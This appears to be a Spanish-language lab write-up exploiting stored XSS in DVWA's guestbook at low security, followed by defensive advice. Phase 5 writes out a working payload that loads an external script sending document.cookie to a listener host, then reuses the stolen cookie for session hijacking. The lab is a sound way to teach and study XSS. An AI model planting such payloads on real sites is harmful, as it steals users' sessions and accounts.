🛡️ Stored XSS en DVWA: cuando dejas una nota… y alguien ejecuta JavaScript
🎯 Objetivo
Aquí no venimos solo a meter <script>alert(1)</script> y sentirnos hackers.
La idea es entender cómo un Stored XSS pasa de ser una tontería… a un problema serio que escala solo.
Porque sí: esto no es un ataque puntual.
Esto es dejar una “trampa” y esperar a que los usuarios piquen.
🧪 Entorno
- DVWA en modo LOW (modo “todo vale”)
- Endpoint vulnerable:
/vulnerabilities/xss_s/ - Navegador + consola
- Servidor Python para exfiltración
🔍 Fase 1: El código (aka “Houston, tenemos un problema”)

$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
💡 Traducción rápida
- El usuario escribe → se guarda tal cual
- Luego se muestra → sin filtros
- Resultado → ejecutas lo que quieras
Sí, usan mysqli_real_escape_string()…
pero eso solo sirve para SQL Injection.
👉 Para XSS es como llevar casco… pero ir sin frenos.
🧠 Fase 2: Comprobación básica
Input inocente:

Hola mundo
Todo normal.
Se guarda, se muestra, nadie sospecha.
El sistema piensa: “qué usuario más educado”.
💥 Fase 3: Primer susto
<script>alert(1)</script>
🎬 Resultado

- Se guarda en la base de datos
- Se ejecuta automáticamente al cargar la página
👉 Ya no es input… es código ejecutándose en navegador ajeno.
🔎 Fase 4: Cuando el campo se pone quisquilloso
Problema: límite de caracteres.
Solución: creatividad.
Opciones típicas:
- Payloads más cortos
img onerror- Scripts externos
Porque en seguridad, cuando te cierran una puerta… entras por la ventana.
💀 Fase 5: Payload serio (exfiltración)
Archivo externo:

new Image().src="http://10.0.2.15:8000/?c="+document.cookie;
Servidor:
python3 -m http.server 8000
Payload:
<script src=http://10.0.2.15:8000/x.js></script>
🎯 Resultado

GET /?c=PHPSESSID=XXXX; security=low
👉 Cookie robada.
👉 Gracias por participar.
🔐 Fase 6: Session Hijacking
Con la cookie en mano:
- La metes en tu navegador
- Recargas
- Y ya eres otro usuario
Sin contraseña. Sin magia. Sin esfuerzo.
👉 Esto no es hacking avanzado… es aprovechar errores básicos.
🧠 Qué está pasando realmente
El problema no es “el script”.
El problema es:
- Guardas datos sin filtrar
- Los renderizas directamente
- El navegador confía y ejecuta
👉 Y el navegador siempre ejecuta. Siempre.
💥 Vulnerabilidad
Stored Cross-Site Scripting (XSS)
Características:
- Persistente
- Automático
- Escalable (afecta a todos los usuarios)
🚨 Impacto real
Con esto puedes:
- Robar sesiones en masa
- Ejecutar código en todos los usuarios
- Montar keyloggers invisibles
- Redirigir tráfico
- Hacer ataques silenciosos
👉 Básicamente: plantar una mina y dejar que los usuarios la pisen solos.
🛡️ Cómo evitar este desastre
🔑 Regla de oro
👉 Nunca confíes en lo que el usuario escribe
Medidas clave
- Escapar salida:
echo htmlspecialchars($message);
- Sanitizar inputs
- No insertar datos directamente en HTML
- CSP bien configurada
- Cookies con:
HttpOnlySecure
🧠 Nota importante
👉 Validar en cliente no sirve
👉 Escapar en backend sí
El frontend es decoración.
La seguridad real vive en el servidor.
🏁 Conclusión
Stored XSS es peligroso porque:
- No necesita interacción
- Se ejecuta solo
- Escala muy fácil
Y sobre todo porque:
👉 No parece grave… hasta que alguien roba todas las sesiones.
